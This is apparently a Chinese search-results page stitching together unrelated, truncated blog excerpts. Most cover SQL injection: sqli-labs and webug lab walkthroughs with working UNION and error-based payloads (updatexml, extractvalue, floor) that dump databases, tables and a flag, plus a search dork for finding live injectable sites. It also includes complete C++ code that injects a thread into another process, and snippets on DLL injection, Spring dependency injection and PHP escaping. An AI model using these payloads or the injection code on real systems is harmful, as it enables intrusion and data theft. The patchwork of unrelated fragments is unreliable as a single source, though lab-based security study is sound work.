精华内容
下载资源
问答
  • SQL注入显错注入

    千次阅读 2019-08-30 16:03:28
    MySQL基础知识 系统自带库information_schema中存在tables表和columns表,我们可以通过这两个表查询相关信息 distinct关键字,distinct用于...group_concat()函数,此函数只有MySQL中存在,作用是把查询出的内容通...

    MySQL基础知识

    系统自带库information_schema中存在tables表和columns表,我们可以通过这两个表查询相关信息

    distinct 关键字,distinct用于去除查询中的重复,可以用information_schema.tables中的TABLE_SCHEMA字段查询出所有库信息

    group_concat()函数,此函数只有MySQL中存在,作用是把查询出的内容通过逗号连接起来

    GET型显错注入


    1、单引号字符型显错注入

    此处用sqli-labs学习

    字符型,假设传参为id=1,那么在数据库中这个传参的类型为字符型,SQL语句大概是

    SELECT * FROM 表名 WHERE id='1' limit 0,1

    如下图,当id=1时,页面正常返回

    添加单引号,页面报错

    此时的报错是由于,用户在输入了单引号后,网站后台未对用户输入进行过滤,使得单引号带入SQL语句执行,语句如下

    SELECT * FROM 表名 WHERE id='1'' limit 0,1

    这就需要闭合原来的语句,需要用到注释符号--+,如下图

    在单引号和注释符号之间就是我们的操作空间,先通过order by语句判断字段数,如果order by 3,页面显示正常,order by 4页面异常说明存在3个字段,此处有三个字段不再上图

    判断回显点,通过联合查询判断回显点,如下图

    可以看到2、3字段回显,接下来就可以再相应的位置查询我们想要获得的数据,比如database()查询数据库名称

    查询所有库信息,此处注意2、3字段回显,在3出可直接跟拼接的语句,如union select 1,2,user from admin,但是在2处,需要使用子查询

    ' and 1=2 union select 1,(select group_concat(distinct TABLE_SCHEMA) from information_schema.tables)--+

    结果如下

    接下来通过tables表查询table名,语句为

    'and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='test'),3--+

    通过columns表查询字段名称,语句为

    'and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='test'),3--+

    数据库中可能存在表名重复,如果出现这种情况,可在查询语句后面加限制条件,下面具体查询数据不在一一列出

    2、双引号字符型显错注入

    单引号字符型与双引号字符型的区别就在于,闭合原有的SQL语句的时候需要使用"--+,在双引号与注释符号之间就是我们的操作空间。

    其余步骤与单引号字符型一致。

    3、字符变型显错注入

    在一些查询语句中可能会出现,id=('1')或者(id='1')的情况,这个时候闭合原有语句就需要使用')--+

    4、整形显错注入

    整形显错注入建议使用-1来观察页面变化,某些情况下直接输入order by 会报错,这是因为原有语句中已经存在了order by,只需要加上注释符号即可

    5、base64变形注入

    通过谷歌语法,inurl:.php?id=MTM intext:公司 就可以找到很多注入点,这类注入点需要对我们输入的语句进行base64编码即可


    POST型显错注入


    1、登录框处post注入

    登录框一般都是采用post方法传输数据,如果此处未对用户输入进行过滤,那么此处存在注入,根据不同的查询语句,可能会存在万能密码登录,打开post靶场如下

    用户名和密码是admin和admin,添加单引号

    此处需要添加#做注释,#是MySQL中特有的注释符号,密码可以随便输入,可成功登录,如下

    判断字段数,也是通过order by 判断,此处为2个字段

    判断回显点,如下

    获取数据,输入database(),获取数据库名称

    其他测试步骤与GET型一致

    2、其他位置post注入

    其他位置的post注入原理与登录框一致,例如

    搜索框处的post注入、留言模块处的post注入、个人资料处的post注入

    3、扩展

    如果登录框处无法通过#或者--+来闭合原有语句,在有报错的情况下可构建其他语句闭合原语句,如下

    此处登录框的查询语法大概是

    SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

    这种语句可以进行注入,也可以直接万能密码登录

    还有一种情况就是,如下

    SELECT password FROM users WHERE username='$uname' LIMIT 0,1

    然后通过代码对查询到的数据与前台传来的数据进行比对,如果一致则登录成功,不一致则失败

    这种可尝试SQL注入,但可能无法使用万能密码,因为or 1=1 会查询出所有的password字段,如果只有一个账户,还可以尝试,多个账户的话,也会返回多个,如下

    SQL注入的话,登录不成功,可以尝试DNS带外查询,当然直接union select 1,然后password输入1,也可能出现一些神奇的事情,还没遇到过,暂时不写了,SQL语句挂上如下

    暂时这些吧

    展开全文
  • 在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库...本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你...

        在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。

    wKioL1mrZdiAlu2WAAHAigyM4E8873.jpg-wh_50

    图1 获取数据库失败

        此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。

        通过floor报错:

    1
    and select from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
    1
    and (select count(*) from (select union select null union select  !1)x group by concat((select version()),floor(rand(0)*2)))

        通过ExtractValue报错:

    1
    and extractvalue(1, concat(0x7f, (select version()),0x7f))

        通过UpdateXml报错:

    1
    and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1))

        通过NAME_CONST报错:

    1
    and 1=(select from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)

        通过错误的双重查询:

    1
    or group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1

        在这里我们以UpdateXml报错进行实战演示,如图2是一个显错注入点。

    wKioL1mrbU-C0a8RAACQAXA8D38440.jpg-wh_50

    图2 显错注入点

        此时我们将通过UpdateXml来进行SQL注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。

    wKioL1mrbkbjMtwoAAC9-K9ywNk540.jpg-wh_50

    图3 获取数据库版本信息

        获取数据库名,如图4所示。

    wKiom1mrcKGjroMaAAC42nt38yI886.jpg-wh_50

    图4 获取数据名

        获取表名,如图5所示。

    wKiom1mrcVKToMzTAAEBa6GYeo8084.jpg-wh_50

    图5 获取表名

        后续操作请参考文章《mysql手工注入》,这里不再进行累赘!



    本文转自 eth10 51CTO博客,原文链接:http://blog.51cto.com/eth10/1962253

    展开全文
  • webug 4.0 第一关 显错注入

    千次阅读 热门讨论 2019-02-28 17:35:37
    这关的标题是显错注入,让我们先看下界面   看到id=1的话,让我们打开id=2,id=3观察下 id=2: id=3: 通过对比以上三张图,我们可以得到两个结论: 1、红框部分是根据ID不同得到的不同...

     

    感谢webug团队一直以来的更新维护!

    webug是什么

    WeBug名称定义为“我们的漏洞”靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。

    Webug官网:http://www.webug.org

    Webug 4.0百度云地址: https://pan.baidu.com/s/1euUY4UG43BuOjhPqkJBvcw 提取码: 3xpy

    来源:226安全团队

    微信号:safeteam226

    开始打靶

    观察

    这关的标题是显错注入,让我们先看下界面

     

    看到id=1的话,让我们打开id=2,id=3观察下

    id=2:

    id=3:

    通过对比以上三张图,我们可以得到两个结论:

    1、红框部分是根据ID不同得到的不同搜索结果

     

    2、猜测,如果搜索不到则那个位置没有结果,如id=3

    综合以上,找到注入点的话首先考虑id=3(或其他)+union的方式

    寻找注入点

    报错注入的话,id=1,猜测下SQL语句是:

    select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此我都习惯在注入语句后面跟注释符屏蔽这些可能的干扰)

    接下来挨个试试单引号、双引号、括号以及他们的相互组合:

    url?id=1),括号无反应,看来是屏蔽了

    url?id=1",双引号无反应

    url?id=1'有结果

     

    正式找到报错注入点了,接下来根据上面的结论让我们构造下url看看有多少列,知道了多少列才方便用union

    (mysql有三种注释方法,1、# ... 2、-- ... 3、/.../,%23是#的url表示)

    url:id=3' order by 1 %23,正常

    url:id=3' order by 10 %23,错误

    url:id=3' order by 5 %23,错误

    url:id=3' order by 3 %23,错误

    url:id=3' order by 2 %23,正常

     

    用二分法最后测到查询结果为两列,接下来让我们看看我们想要的数据在第几列

    url:id=3' union select 1,2 %23

     

     

    在第二列。到了这里就完了,接下来我们可以利用这个注入点获取我们想要的信息了

    比如用户名

    url:id=3' union select 1,user() %23

    比如操作系统名

    url:id=3' union select 1,@@version_compile_os %23

     

    2019/3/12:补充实现gif

     

    2019/5/17:增加查询Flag

    感谢@qingfengmengge的提醒,我之前一直以为那个提交Flag是吐槽用的呢 - -。好吧,接下来让我们来找Flag。

    1、确认mysql版本

    url:id=3' union select 1,version() %23

    版本大于15的话mysql里面就有information_schema这个数据库,我们可以通过这个数据库获取到mysql里各个数据库及其表和字段的信息

     

    2、确认mysql有哪些数据库

    由于页面显示只有一个字段,而我们查出来的数据库肯定有多个。所以这里我们需要用到一个函数GROUP_CONCAT来组合多个数据。

    SELECT NAME FROM USER;

    SELECT GROUP_CONCAT(NAME) FROM USER;

    好了,接下来让我们看看都有哪些数据库吧。

    url:id=3' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23

    前三个都是mysql自带的数据库,因此我们只需要注意后面的test、webug、webug_sys、webug_width_byte数据库就行

     

    3、确认当前查询的数据库

    url:id=3' UNION SELECT 1,DATABASE() %23

    注:SCHEMA()也能查当前使用的数据库

     

    4、确认当前数据库下面的表

    由于不知道那个Flag在哪,但是还是首先考虑同一个数据库下的表吧

    url:id=3' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='webug' %23

    我们看见了有flag表,那么里面的内容是不是就是我们需要的呢?

     

    5、确认flag表的字段

    url:id=3' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='flag' AND table_schema='webug' %23

    有id和flag字段,让我们查查有哪些id和flag吧

     

    6、确认flag表的内容

    url:id=3' UNION SELECT 1,GROUP_CONCAT(id) FROM flag %23

    id只有一个1

    那就看看flag字段的值是什么吧

    url:id=3' UNION SELECT 1,flag FROM flag where flag.id=1 %23

     

    7、输入flag

    成功!

    展开全文
  • 远程注入执行函数

    千次阅读 2013-01-29 23:13:46
    下午正好有人问怎么注入线程,在公司用《windows核心编程》的注入DLL程序修改了一下,实现了远程注入DLL调用函数。刚才回来,觉得照着别人的程序改,总还是学不到家,自己花了两个小时写了一个。能注入到其他进程中...

          最近在看病毒相关内容,看着大部分知识都知道,不知道用起来行不行。下午正好有人问怎么注入线程,在公司用《windows核心编程》的注入DLL程序修改了一下,实现了远程注入DLL调用函数。刚才回来,觉得照着别人的程序改,总还是学不到家,自己花了两个小时写了一个。能注入到其他进程中,执行弹出MessageBox框。当然,能注入去弹出这个框,就能干很多坏事了,看你想干什么了。把代码贴上来,也不改了,反正能看懂。有几个细节可能会忽略:

          1. ThreadFunc应该定义成static,不能是全局函数。如果是全局函数,只能取到jmp ThreadFunc这块代码的地址。

          2. 在调试模式会使写函数数据时数据出错。

    下午就被这两个东西浪费了一个多小时。

          推荐两篇有用的内容:http://www.cnblogs.com/BoyXiao/archive/2011/08/11/2134367.html

          http://www.vckbase.com/index.php/wv/1580

     

    // InjectToRemoteProcess.cpp : 定义应用程序的入口点。
    //
    
    #include "stdafx.h"
    #include "InjectToRemoteProcess.h"
    
    #define MAX_LOADSTRING 100
    
    // 全局变量:
    HINSTANCE hInst;								// 当前实例
    TCHAR szTitle[MAX_LOADSTRING];					// 标题栏文本
    TCHAR szWindowClass[MAX_LOADSTRING];			// 主窗口类名
    
    // 此代码模块中包含的函数的前向声明:
    ATOM				MyRegisterClass(HINSTANCE hInstance);
    BOOL				InitInstance(HINSTANCE, int);
    LRESULT CALLBACK	WndProc(HWND, UINT, WPARAM, LPARAM);
    INT_PTR CALLBACK	About(HWND, UINT, WPARAM, LPARAM);
    INT_PTR CALLBACK	Inject(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);
    
    int APIENTRY _tWinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPTSTR    lpCmdLine,
                         int       nCmdShow)
    {
    	UNREFERENCED_PARAMETER(hPrevInstance);
    	UNREFERENCED_PARAMETER(lpCmdLine);
    
     	// TODO: 在此放置代码。
    	MSG msg;
    	HACCEL hAccelTable;
    
    	// 初始化全局字符串
    	LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
    	LoadString(hInstance, IDC_INJECTTOREMOTEPROCESS, szWindowClass, MAX_LOADSTRING);
    	MyRegisterClass(hInstance);
    
    	// 执行应用程序初始化:
    	if (!InitInstance (hInstance, nCmdShow))
    	{
    		return FALSE;
    	}
    
    	hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_INJECTTOREMOTEPROCESS));
    
    	// 主消息循环:
    	while (GetMessage(&msg, NULL, 0, 0))
    	{
    		if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
    		{
    			TranslateMessage(&msg);
    			DispatchMessage(&msg);
    		}
    	}
    
    	return (int) msg.wParam;
    }
    
    
    
    //
    //  函数: MyRegisterClass()
    //
    //  目的: 注册窗口类。
    //
    //  注释:
    //
    //    仅当希望
    //    此代码与添加到 Windows 95 中的“RegisterClassEx”
    //    函数之前的 Win32 系统兼容时,才需要此函数及其用法。调用此函数十分重要,
    //    这样应用程序就可以获得关联的
    //    “格式正确的”小图标。
    //
    ATOM MyRegisterClass(HINSTANCE hInstance)
    {
    	WNDCLASSEX wcex;
    
    	wcex.cbSize = sizeof(WNDCLASSEX);
    
    	wcex.style			= CS_HREDRAW | CS_VREDRAW;
    	wcex.lpfnWndProc	= WndProc;
    	wcex.cbClsExtra		= 0;
    	wcex.cbWndExtra		= 0;
    	wcex.hInstance		= hInstance;
    	wcex.hIcon			= LoadIcon(hInstance, MAKEINTRESOURCE(IDI_INJECTTOREMOTEPROCESS));
    	wcex.hCursor		= LoadCursor(NULL, IDC_ARROW);
    	wcex.hbrBackground	= (HBRUSH)(COLOR_WINDOW+1);
    	wcex.lpszMenuName	= MAKEINTRESOURCE(IDC_INJECTTOREMOTEPROCESS);
    	wcex.lpszClassName	= szWindowClass;
    	wcex.hIconSm		= LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
    
    	return RegisterClassEx(&wcex);
    }
    
    //
    //   函数: InitInstance(HINSTANCE, int)
    //
    //   目的: 保存实例句柄并创建主窗口
    //
    //   注释:
    //
    //        在此函数中,我们在全局变量中保存实例句柄并
    //        创建和显示主程序窗口。
    //
    BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
    {
       HWND hWnd;
    
       hInst = hInstance; // 将实例句柄存储在全局变量中
    
       hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
          CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
    
       if (!hWnd)
       {
          return FALSE;
       }
    
       ShowWindow(hWnd, nCmdShow);
       UpdateWindow(hWnd);
    
       return TRUE;
    }
    
    //
    //  函数: WndProc(HWND, UINT, WPARAM, LPARAM)
    //
    //  目的: 处理主窗口的消息。
    //
    //  WM_COMMAND	- 处理应用程序菜单
    //  WM_PAINT	- 绘制主窗口
    //  WM_DESTROY	- 发送退出消息并返回
    //
    //
    LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
    	int wmId, wmEvent;
    	PAINTSTRUCT ps;
    	HDC hdc;
    
    	switch (message)
    	{
    	case WM_COMMAND:
    		wmId    = LOWORD(wParam);
    		wmEvent = HIWORD(wParam);
    		// 分析菜单选择:
    		switch (wmId)
    		{
    		case IDM_ABOUT:
    			DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
    			break;
    		case IDM_EXIT:
    			DestroyWindow(hWnd);
    			break;
    		case IDM_INJECT:
    			DialogBox(hInst,MAKEINTRESOURCE(IDD_DLG_INJECT),hWnd,Inject);
    
    		default:
    			return DefWindowProc(hWnd, message, wParam, lParam);
    		}
    		break;
    	case WM_PAINT:
    		hdc = BeginPaint(hWnd, &ps);
    		// TODO: 在此添加任意绘图代码...
    		EndPaint(hWnd, &ps);
    		break;
    	case WM_DESTROY:
    		PostQuitMessage(0);
    		break;
    	default:
    		return DefWindowProc(hWnd, message, wParam, lParam);
    	}
    	return 0;
    }
    
    // “关于”框的消息处理程序。
    INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
    {
    	UNREFERENCED_PARAMETER(lParam);
    	switch (message)
    	{
    	case WM_INITDIALOG:
    		return (INT_PTR)TRUE;
    
    	case WM_COMMAND:
    		if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
    		{
    			EndDialog(hDlg, LOWORD(wParam));
    			return (INT_PTR)TRUE;
    		}
    		break;
    	}
    	return (INT_PTR)FALSE;
    }
    
    
    struct ProcStruct
    {
    	FARPROC MsgAddr;
    	TCHAR strMsg[24];
    	TCHAR strTitle[24];
    };
    
    static DWORD __stdcall ThreadFunc(ProcStruct * pPS)
    {
    	typedef int (__stdcall *pMsgBox)(HWND,LPCTSTR,LPCTSTR,UINT);
    
    	pMsgBox MsgBox =(pMsgBox)pPS->MsgAddr;
    	MsgBox(NULL,pPS->strMsg,pPS->strTitle,0);
    
    	return 0;
    }
    static DWORD __stdcall OffsetFunc(LPVOID* pParam)
    {
    	return 0;
    }
    
    bool AdjustProcessTokenPrivilege()
    {
    	LUID luidTmp;
    	HANDLE hToken;
    	TOKEN_PRIVILEGES tkp;
    	if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    	{
    		//OutputDebugString("AdjustProcessTokenPrivilege OpenProcessToken Failed ! \n");
    		return false;
    	}   
    	if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidTmp))
    	{ 
    		//OutputDebugString("AdjustProcessTokenPrivilege LookupPrivilegeValue Failed ! \n");
    		CloseHandle(hToken);
    		return FALSE;
    	}
    	tkp.PrivilegeCount = 1;
    	tkp.Privileges[0].Luid = luidTmp;
    	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    	if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    	{
    		//OutputDebugString("AdjustProcessTokenPrivilege AdjustTokenPrivileges Failed ! \n");
    		CloseHandle(hToken);
    		return FALSE;
    	}
    	return true;
    }
    
    DWORD InjectFunctionToProcess(DWORD dwProcessId)
    {
    	AdjustProcessTokenPrivilege();
    	try
    	{
    		HANDLE hProcess = OpenProcess(         
    			PROCESS_QUERY_INFORMATION |   // Required by Alpha
    			PROCESS_CREATE_THREAD     |   // For CreateRemoteThread
    			PROCESS_VM_OPERATION      |   // For VirtualAllocEx/VirtualFreeEx
    			PROCESS_VM_WRITE,             // For WriteProcessMemory
    			FALSE, dwProcessId);
    		if (hProcess == NULL) 
    		{
    			return 0;
    		}
    		HMODULE hUser32 = GetModuleHandle(_T("User32.dll"));
    		if (hProcess == NULL)
    		{
    			return 0;
    		}
    		FARPROC MsgAddr = GetProcAddress(hUser32,"MessageBoxW");
    
    		ProcStruct PS;
    		PS.MsgAddr =MsgAddr;
    		_tcscpy(PS.strMsg,_T("This is Message!"));
    		_tcscpy(PS.strTitle,_T("Title"));
    
    		//开辟存储变量的内存空间
    		void * pMemProcStruct = VirtualAllocEx(hProcess,NULL,sizeof(ProcStruct),MEM_COMMIT,PAGE_READWRITE);
    		if (!pMemProcStruct)
    		{
    			return 0;
    		}
    		//复制参数内容
    		if (!WriteProcessMemory(hProcess,pMemProcStruct,&PS,sizeof(ProcStruct),NULL))
    		{
    			return 0;
    		}
    		
    		//开辟存储调用函数的空间
    		DWORD FuncLen = (DWORD)OffsetFunc - (DWORD)ThreadFunc;
    		void * pMemFunction = VirtualAllocEx(hProcess,NULL,FuncLen,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    		if (!pMemFunction)
    		{
    			return 0;
    		}
    		//复制函数内容
    		if (!WriteProcessMemory(hProcess,pMemFunction,ThreadFunc,FuncLen,NULL))
    		{
    			return 0;
    		}
    
    		//启动线程函数注入进程
    		HANDLE hRemoteThread = CreateRemoteThread(hProcess,NULL,NULL,(LPTHREAD_START_ROUTINE)pMemFunction,pMemProcStruct,NULL,NULL);
    		if (!hRemoteThread)
    		{
    			return 0;
    		}
    
    		//等待线程结束
    		WaitForSingleObject(hRemoteThread,INFINITE);
    		//释放参数内容
    		VirtualFreeEx(hProcess,pMemProcStruct,sizeof(ProcStruct),MEM_RELEASE);
    		//释放函数内容
    		VirtualFreeEx(hProcess,pMemFunction,FuncLen,MEM_RELEASE);
    
    	}
    	catch (...)
    	{
    		return -1;
    	}
    	return 0;
    }
    
    // “注入”框的消息处理程序。
    INT_PTR CALLBACK Inject(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
    {
    	UNREFERENCED_PARAMETER(lParam);
    	switch (message)
    	{
    	case WM_INITDIALOG:
    		return (INT_PTR)TRUE;
    
    	case WM_COMMAND:
    		if (LOWORD(wParam) == IDCANCEL)
    		{
    			EndDialog(hDlg, LOWORD(wParam));
    			return (INT_PTR)TRUE;
    		}
    		else if (LOWORD(wParam) == IDOK)
    		{
    			DWORD dwProcessId = GetDlgItemInt(hDlg, IDC_INJECTTOREMOTEPROCESS, NULL, FALSE);
    			if (dwProcessId == 0) {
    				// A process ID of 0 causes everything to take place in the 
    				// local process; this makes things easier for debugging.
    				dwProcessId = GetCurrentProcessId();
    			}
    
    			if (!InjectFunctionToProcess(dwProcessId)) 
    			{
    				MessageBox(NULL,_T("DLL Injection/Ejection successful."),_T("Title"),0);
    			} 
    			else 
    			{
    				MessageBox(NULL,_T("DLL Injection/Ejection failed."),_T("Error"),0);
    			}
    		}
    		break;
    	}
    	return (INT_PTR)FALSE;
    }

     

    展开全文
  • 本文转载自:https://blog.csdn.net/xuplus/article/details/36051337一、DLL注入DLL的远程注入技术是目前Win32病毒广泛使用的一种技术。使用这种技术的病毒体通常位于一个DLL中,在系统启动的时候,一个EXE程序会将...
  • 1、什么是控制反转和依赖注入: 在传统的程序设计中,调用亲自创建被调用者的实例,即由程序控制“对象之间的依赖关系”,这种方式的耦合度比较高; 控制反转就是将由程序控制的“对象间的依赖关系”转交给Ioc容器...
  • 因为业务关系也看了些同事写的代码,因为公司没有明确规定,有一部分人在注入依赖的时候使用了用Spring推荐的构造器注入的方式,一部分人使用了@Autowired的注解进行注入。 因此,接下来我试着总结归纳一下相关的...
  • Spring 基于构造函数的依赖注入

    千次阅读 2018-07-04 18:12:34
    Spring 基于构造函数的依赖注入 当容器调用带有一组参数的类构造函数时,基于构造函数的 DI 就完成了,其中每个参数代表一个对其他类的依赖。 示例: 下面的例子显示了一个类 TextEditor,只能用构造函数注入来...
  • 防止注入的一些PHP转义函数

    千次阅读 2020-10-10 02:29:19
    转义函数的使用就是为了提高系统的安全性,防止潜在的攻击,如SQL注入,XSS攻击等。本文介绍六个函数,分别是: addcslashes(); addslashes(); mysql_real_escape_string(); htmlspecialchars(); htmlentities(); ...
  • 一、DLL注入 DLL的远程注入技术是目前Win32病毒广泛使用的一种技术。使用这种技术的病毒体通常位于一个DLL中,在系统启动的时候,一个EXE程序会将这个DLL加载至某些系统进程(如Explorer.exe)中运行。 这样一来...
  • 自定义EL函数防止HTML注入

    千次阅读 2016-04-03 22:40:25
    我们先来看看没有自定义EL函数时是怎么HTML注入的。 首先,我们定义一个jsp页面用于搜集用户提交的表单数据 用户名: 留言:  我们让表单数据提交给ResultServlet来处理,所以我们定义一个servlet来...
  • 何时使用构造注入,何时使用setter注入,经验法则是:强制依赖用构造,可选依赖用Setter。注意,在settter方法上使用@Required注解即可令属性强制依赖。  Spring 团队建议,构造注入的实例是不可变的,不为null的。...
  • mysql 报错注入原理及部分函数讲解

    千次阅读 2020-05-17 10:58:34
    文章目录 报错注入原理 报错函数: updatexml() extractvalue() floor() MySQL版本报错函数利用(参考) 报错注入原理 报错注入的使用场景一般是在页面无法显示数据库的信息,但是是有报错内容的,我们就可以尝试利用...
  • Mysql concat函数与SQL注入

    千次阅读 2008-12-16 12:13:00
    SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来。 例如:原本查询语句是 select username,email,content ...
  • 【mysql】mysql concat函数与SQL注入

    千次阅读 2012-10-16 16:15:44
    SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来。    例如:原本查询语句是 select username,...
  • Spring-依赖注入

    千次阅读 2017-07-16 13:21:36
    构造函数注入 按类型匹配入参 按索引匹配入参 联合使用类型和索引匹配入参 通过自身反射类型匹配入参 循环依赖问题 工厂方法注入 选择注入方式的考量概述Spring支持两种依赖注入的方式 属性注入 构造函数注入 此外...
  • 在我们WEB安全测试的时候,会经常使用到这一语法,因此应该透彻理解这一函数, 今天好好实践了一下,整理如下。 1.Concat函数: concat()是一个函数,用于用于将两个字符串连接起来,形成一个单一的字符串,...
  • 在显示调用一个DLL时: HINSTANCE hAddDll = NULL; hAddDll = ::LoadLibrary(_T("...这个时候会触发调用DLL的入口函数: BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call,...
  • 大家都知道,addslashes是过滤垃圾信息的函数,如果你的PHP环境打开了魔法函数,...关于漏洞的产生,大家可以去百 度搜索《PHP字符编码绕过漏洞总结》,注入我不细说了,主要说说BUG。 首先要说明的是,此BUG只会在
  • 首先要了解java中基类与子类之间的构造函数的关系,再着就是了解java中反映的机制。   看一个基类BaseDao: public classBaseDao {   publicBaseDao() {  System.out.println(this);  S
  • 第一节、SQL注入的一般步骤 首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。 其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种: (A) ID=49 这类注入的...
  • 本文记录 SQL 注入的学习过程,资料为 SQLi SQLi 博客目录 Less - 32: GET - Bypass custom filter adding slashes to dangerous chasrs 原理 mysql 在使用GBK 编码的时候,会认为两个字符为一...
  • 手工测试sql注入及原理1、SQL 整数型注入查数据库名查数据表查flag表字段2、字符型注入3、报错注入updatexml() 函数致MYSQL显错注入原理updatexml() 函数定义updatexml() 函数运行机制updatexml() 函数运行示例不...
  • SQL注入-不再显示的盲注

    千次阅读 2019-05-22 17:02:27
    注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQl注入存在的代码问题。 演示盲注问题。当攻击者...
  • 关于SQL注入理论的内容,小白之前的博客有写,有兴趣的可以去看一看哦~SQL注入原理详解 实践 ps: 实验的环境小白用的sqli-labs的第一关,下面让我们开始吧 第一关呢提示我们可以用数字型的注入就可以过啦 我们...
  • oracle报错注入

    千次阅读 2019-04-10 14:43:04
    oracle的报错注入的原理和mysql的不一样,但实现的功能是一样的。 使用场景是,1、无法回显的盲注 2.当字段数或类型的原因无法使用union联合...2. 利用函数ctxsys.drithsx.sn 进行报错注入 函数的用法: 1=ctxsys....
  • 一、原理 跟MySQL的注入一样,都是程序原本要执行的sql语句拼接了用户输入的语句,导致出现了不该出现的数据。...通过报错注入函数查询当前表名:and 1=ctxsys.drithsx.sn(1,(select table_name from user_tabl
  • provide 和 inject这对选项需要一起使用,以允许一个祖先组件向其所有子孙后代注入一个依赖,不论组件层次有多深,并在起上下游关系成立的时间里始终生效 父组件中把那个通用的函数方法放在provide里面.(data ...
  • SQL注入漏洞详解

    万次阅读 多人点赞 2018-08-23 20:51:39
    SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注入 五:时间盲注 六:REGEXP正则匹配 七:宽字节...
  • SQL注入常用的函数: left(),返回往左边截取几位字符 floor(),返回小于或等于x的最大整数 rand(),返回0-1之间的一个随机数 extractvalue(),从目标xml中返回包含所查询的字符串 updatexml(),改变文档中符合...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 86,704
精华内容 34,681
关键字:

显错注入函数